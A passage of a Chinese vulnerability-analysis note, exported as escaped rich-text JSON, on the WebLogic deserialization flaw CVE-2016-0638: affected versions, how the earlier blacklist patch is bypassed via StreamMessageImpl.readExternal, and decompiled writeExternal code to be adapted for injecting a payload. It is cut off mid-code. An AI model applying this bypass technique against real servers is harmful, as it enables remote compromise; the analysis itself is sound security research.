576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = 